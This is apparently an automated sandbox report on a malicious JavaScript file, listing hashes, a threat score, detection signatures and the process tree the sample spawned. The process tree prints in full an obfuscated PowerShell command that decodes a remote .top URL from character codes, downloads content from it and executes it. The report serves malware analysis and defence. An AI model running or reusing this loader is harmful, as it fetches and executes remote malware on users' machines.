Analysis
-
max time kernel
121s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:04
General
-
Target
cbf48e717b0cc3f95e338deb6607482dc1d58957b286f831308c98a80fb98985.js
-
Size
153KB
-
MD5
e9878ff72379271b3bd05134c456844f
-
SHA1
63e47cbf93f84e771ff00b62f88d12a544e282aa
-
SHA256
cbf48e717b0cc3f95e338deb6607482dc1d58957b286f831308c98a80fb98985
-
SHA512
ad1d728f26dccc1a18a709f7691614a54b8e6fd9b23d7ec3a67e8e08d64092ed5f638836d83fdc5e434e04a0c4cb41086876ca1c6931376d6576685d0f30d1ba
-
SSDEEP
1536:nwgfiEWNK0XGKMr5GY0WNK0XGKM+5GYz5GYDWNK0XGKMLWNK0XGKMi:nxAuK0uKAuKTuKr
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\cbf48e717b0cc3f95e338deb6607482dc1d58957b286f831308c98a80fb98985.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $esvromktugcxzj='ur' ;new-alias printout c$($esvromktugcxzj)l;$kvtsbpcjze=(7126,7137,7145,7129,7131,7126,7146,7145,7150,7083,7145,7079,7126,7074,7144,7139,7140,7075,7077,7074,7140,7132,7140,7091,7143,7089,7137,7133,7138,7144,7143,7078,7077);$jhbarlwzusmn=('bronx','get-cmdlet');$vcmwspfz=$kvtsbpcjze;foreach($wtomkegbzh in $vcmwspfz){$thkwpziux=$wtomkegbzh;$nflhptq=$nflhptq+[char]($thkwpziux-7028);$wpzvcabgy=$nflhptq; $jvrniaumwbg=$wpzvcabgy};$ejxsoazrw[2]=$jvrniaumwbg;$jedobi='rl';$agfuhmjpx=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jvrniaumwbg)1⤵
- Process spawned unexpected child process